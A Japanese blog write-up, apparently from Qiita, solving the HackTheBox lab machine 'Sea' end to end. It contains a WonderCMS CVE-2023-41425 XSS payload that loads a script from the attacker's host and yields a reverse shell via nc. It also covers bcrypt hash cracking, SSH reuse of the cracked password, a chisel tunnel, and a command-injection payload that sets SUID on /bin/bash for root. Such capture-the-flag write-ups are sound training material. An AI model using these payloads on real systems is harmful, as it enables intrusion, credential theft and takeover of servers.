1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのEasyマシン「Sea」のWriteUpです!

image.png

Easyにしては、少し難し目なグラフですね...評価も3.5なので若干癖があるかもしれませんが、サクッと攻略してしまいましょう!

Sea

列挙

それでは攻略を始めていきましょう。
まずはnmapでポートスキャンを実行していきます。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.28

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

22番と80番を確認しました。
ブラウザでアクセスしてみましょう。

image.png

サイクリング大会のサイト?が表示されました。
目で見える遷移としては、登録フォームぐらいしかありません。

image.png

現状特に怪しいものはなさそうなので、ディレクトリ探索を行います。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://sea.htb/FUZZ

       /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 2350ms]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 4291ms]
0                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 4294ms]
404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 181ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 185ms]
home page               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 181ms]
messages                [Status: 301, Size: 232, Words: 14, Lines: 8, Duration: 182ms]
modern mom              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 193ms]
my project              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 180ms]
plugins                 [Status: 301, Size: 231, Words: 14, Lines: 8, Duration: 180ms]
press releases          [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 182ms]
themes                  [Status: 301, Size: 230, Words: 14, Lines: 8, Duration: 184ms]
web references          [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 184ms]

いくつかの新しいディレクトリを発見しましたが、ここで気になるのはthemesというディレクトリが存在することです。

themesが存在するということは何かしらのCMSが使用されている可能性が高く、さらに階層を深く調べることでテーマ名やバージョン情報などを取得できるかもしれません。

では、themes配下に対してディレクトリ探索を行い、テーマ名を列挙します。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -u http://sea.htb/themes/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/themes/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 186ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
bike                    [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 194ms]

bikeというテーマ名を発見しました!さらに深く見ていきましょう

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://sea.htb/themes/bike/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/themes/bike/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

README.md               [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 183ms]
sym/root/home/          [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
version                 [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 191ms]

README.mdversionを発見しました!それぞれアクセスしてみましょう

-- README.md --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/README.md
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

-- version --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/version   
3.2.0

上記の結果からサイトではWonderCMSのバージョン3.2.0が使用されていることがわかりました。

CVE-2023-41425

バージョン情報を取得したので、脆弱性が存在しないか調査すると以下のサイトを発見しました。

どうやらWonderCMSのバージョン3.2.0にはXSSを経由したRCEの脆弱性があるようです。一見有用そうですが、「XSSを経由しなければならない」ため、まずはXSSを発見する必要がありそうです。

GitHubに公開されているExploitコードは、最終的にxss.jsというファイルを作成します。このファイルがXSSによって読み込まれ実行されることでRCEとなり、リバースシェルを取得することができます。

では、今回のサイトの中でXSSを発火、もしくはXSSと同等の機能をもたらすことができるでしょうか。実は可能です。注目すべき点は、使用されている画像のXSS部分(URLリンク)が以下のようになっている点です。

localhost/wondercms/index.php?page=loginURL?"></form><script+src="http://...

これはGitHubでも紹介されている通り、XSSを発火させている部分ですが、そのまま入力しても発火はしません。一度自分でもXSSが発火するのかどうか試し、発火しなかったため「あれ?」と疑問に思いましたが、これはCVE-2023-41425が認証済みRCEであることが物語っています。

つまりWonderCMSでは、認証済みユーザのみが[ip]/wondercms/index.phpへアクセスした際に、?page=loginURL?"></form><script+src="http://...のようなパラメータを送信することでXSSが発火するということです。そのため、認証済みユーザではない攻撃者(私)が実証しようとしても発火は確認できません。

上記を踏まえると、認証済みのユーザに[ip]/wondercms/index.phpへアクセスさせ、XSSを発火させる必要があるということになります。そんなことが可能なのかと一瞬戸惑いますが、ここで最初の方に確認した登録ページが活躍します。

image.png

名前やメールアドレスに加えて、ウェブサイトを登録できる欄があります。なので、この欄にXSSのペイロードを入力し、管理者などの認証済みユーザにアクセスさせることができるかもしれません。

では、攻撃パスが出来上がったので実際に試してみましょう。まずはPoCをダウンロードします。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ git clone https://github.com/prodigiousMind/CVE-2023-41425.git
Cloning into 'CVE-2023-41425'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (6/6), done.

ダウンロードできたら、PoCを実行します。が、一つ変更しなければならない点があります。それは、PoCの中でmain.zipをダウンロードしている箇所があるのですが、マシンからはアクセスできないため、ローカルに配置し、ダウンロードさせます。
まずは、PoCで使用されているmain.zipをダウンロードしておきます。

+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip            
--2024-08-16 23:44:34--  https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main [following]
--2024-08-16 23:44:34--  https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.27.177.114
Connecting to codeload.github.com (codeload.github.com)|20.27.177.114|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: ‘main.zip’

main.zip                                       [ <=>                                                                                     ]   2.62K  --.-KB/s    in 0s      

2024-08-16 23:44:35 (50.4 MB/s) - ‘main.zip’ saved [2680]

ダウンロードできたら、PoCのリンクをローカルへ変更します。

-- before
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;

-- after
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.2:8000/main.zip&directoryName=violet&type=themes&token=" + token;

これで準備完了です。PoCを実行しましょう!
実行時に指定するURLはhttp://sea.htb/wondercms/index.phpです。

+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 2121
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

ペイロードが出力されました!これを先ほどの登録ページに入力しましょう。

image.png

入力できたら「Submit」を押下します。押下後、xss.jsへのアクセスを少し待ちます。

+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 2121
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [16/Aug/2024 23:28:47] "GET /xss.js HTTP/1.1" 200 -

アクセスがきました!

www-data としてのシェル

では、xss.jsをダウンロードさせることに成功したので、リバースシェルを取得しましょう。まず待ち受けを開始しておきます。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...

これで準備は万端です。実行はhttp://sea.htb/themes/revshell-main/rev.phpへIPとポートを指定してアクセスするだけです。

+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.2&lport=2121'

特に応答はありませんが、待ち受けを確認すると...

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.28] 51942
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 03:57:44 up  3:49,  0 users,  load average: 1.29, 1.48, 1.47
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
www-data@sea:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

シェルを取得できました!侵入成功です~!

水平権限昇格

それでは、さらに列挙を進めていきます。
侵入後のユーザはwww-dataだったので、おそらくrootを目指す前にもう一段階必要そうな気がします。homeディレクトリを確認し、ユーザを見てみましょう。

www-data@sea:/home$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Jul 30 12:58 .
drwxr-xr-x 19 root root 4096 Feb 21 01:15 ..
drwxr-xr-x  4 amay amay 4096 Aug  1 12:22 amay
drwxr-x---  4 geo  geo  4096 Aug  1 12:13 geo

amayユーザとgeoユーザが存在します。amayユーザのディレクトリは読み込み権限があるので、中を確認できそうです。

www-data@sea:/home/amay$ ls -l   
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt

ユーザフラグがありますね。www-dataではファイルを読み取ることはできませんが、次の目標がわかったのでamayユーザへの移動を目指していきましょう。

Hash Crack

www-dataで侵入した後は、WEBの設定ファイルやDBの情報を見て認証情報を取得できることが多くあります。今回も認証情報の取得を期待して列挙していると、database.jsというファイルを発見しました。

www-data@sea:/var/www/sea/data$ ls -la
total 48
drwxr-xr-x 3 www-data www-data  4096 Feb 22 20:00 .
drwxr-xr-x 6 www-data www-data  4096 Feb 22 03:06 ..
-rwxr-xr-x 1 www-data www-data 29235 Aug 17 01:40 cache.json
-rwxr-xr-x 1 www-data www-data  2891 Aug 17 03:50 database.js
drwxr-xr-x 2 www-data www-data  4096 Aug 17 03:51 files

内容を確認してみましょう。

www-data@sea:/var/www/sea/data$ cat database.js
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/08\/17 03:50:56": "127.0.0.1",
            "2024\/08\/17 03:38:25": "127.0.0.1",
            "2024\/08\/17 03:28:54": "127.0.0.1",
            "2024\/08\/17 01:40:18": "127.0.0.1",
...

ハッシュ化されたパスワードを発見しました!johnによる解析を試みますが、このハッシュはスラッシュ(/)を文字として認識させるため、前にバックスラッシュ(\)が追加されています。なので、バックスラッシュを削除した状態で保存するように注意してください。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)     
1g 0:00:00:18 DONE (2024-08-17 00:25) 0.05330g/s 164.0p/s 164.0c/s 164.0C/s iamcool..milena
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

解読に成功しました!

amay としてのシェル

それでは、パスワードを取得できたのでamayユーザとしてログインできるか試してみましょう。

+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ssh amay@10.10.11.28
The authenticity of host '10.10.11.28 (10.10.11.28)' cant be established.
ED25519 key fingerprint is SHA256:xC5wFVdcixOCmr5pOw8Tm4AajGSMT3j5Q4wL6/ZQg7A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.28' (ED25519) to the list of known hosts.
amay@10.10.11.28s password: 

amay@sea:~$ id
uid=1000(amay) gid=1000(amay) groups=1000(amay)

ログインに成功しました!

amay@sea:~$ ls -l
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt

ユーザフラグも無事読み取ることができました。

垂直権限昇格

では、最後rootを目指していきましょう!
まずはいつものようにsudo -lを実行します。

amay@sea:~$ sudo -l
[sudo] password for amay: 
Sorry, user amay may not run sudo on sea.

sudoは実行できないようです。SUIDも特に気になるバイナリはありませんでした。

ローカルWEB

権限昇格へつながる道がないかネットワークを列挙していると、気になるポートを発見しました。

amay@sea:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43435         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -              

ローカルで8080番が起動しています。おそらくWEBだと考えることができるので、アクセスしてみましょう。ローカルWEBへアクセスする際は、chiselを使用します。chiselをターゲットへ送信する方法はいくつかあるので、scpなどを使用して送信してください。

+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ scp /opt/too1s-l1nux/chisel amay@10.10.11.28:/tmp/chisel
amay@10.10.11.28s password: 
chisel                                           100% 8188KB 836.6KB/s   00:09

送信できたら、マシン側/ローカル側でそれぞれchiselを実行します。

-- local(Kali) --
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse
2024/08/17 00:39:15 server: Reverse tunnelling enabled
2024/08/17 00:39:15 server: Fingerprint JYjZ/rhFjp/xyi9/jcYPwbLdroC2N0f3YNx0iFX2CzQ=
2024/08/17 00:39:15 server: Listening on http://0.0.0.0:9999

-- machine(sea) --
amay@sea:/tmp$ ./chisel client 10.10.14.2:9999 R:8021:127.0.0.1:8080

実行に成功したら、ローカル側でhttp://127.0.0.1:8021へアクセスします。

image.png

Basic認証が有効になっているようなので、amayユーザの認証情報を使用してログインします。

image.png

認証に成功し、システムを監視できるサイトが表示されました。
なにやらログファイルを分析できるようなので、「Analyze」というボタンを押下してみましょう。

image.png

不審なトラフィックは検出されませんでした。というメッセージが表示されました。access.logの他にauth.logもあるようなので、そちらも指定してみます。

image.png

いくつかの出力がありました。不審なトラフィックが検出されていたので、そこから権限昇格の手がかりを探すかと思いましたが、特に気になるものはありませんでした。

Command Injection

では、見方を変えて分析のプロセスに目を向けることにしました。auth.logaccess.logから不審なトラフィックを検出しているということは、何かしらのコマンドが実行されている可能性があり、コマンドインジェクションに脆弱な可能性があります。試しに、log_fileパラメータの末尾に;idを付与してリクエストを送信してみましょう。

image.png

access.logを分析させたときは、特に出力がありませんでしたが、;idを付与しただけで多くの出力が見られました!直接的にidの結果が出力されているわけではないので、;idの追加の仕方がよくないのではないかと思いました。試しに末尾ではなく、先頭に;idを付与して再度リクエストを送信します。

image.png

idコマンド結果が綺麗に出力されました!

root としてのシェル

コマンドインジェクションに脆弱であることが確定したので、権限を昇格させましょう!以下のようにlog_fileパラメータの値を指定してリクエストを送信します。

log_file=;chmod%20u%2bs%20%2Fbin%2Fbash;%2Fvar%2Flog%2Fapache2%2Faccess.log

/bin/bashにSUIDを付与しています。リクエスト送信後、SUIDが付与されているか確認しましょう。

amay@sea:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

付与されています!権限を昇格させましょう。

amay@sea:~$ bash -p
bash-5.0# whoami
root

権限昇格に成功しました!

bash-5.0# ls -l
total 12
drwxr-xr-x 2 root root 4096 Feb 25 04:24 monitoring
-rw-r----- 1 root root   33 Aug 17 04:52 root.txt
drwxr-xr-x 2 root root 4096 Aug  1 12:17 scripts

ルートフラグを取得し、完全攻略達成です~!

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?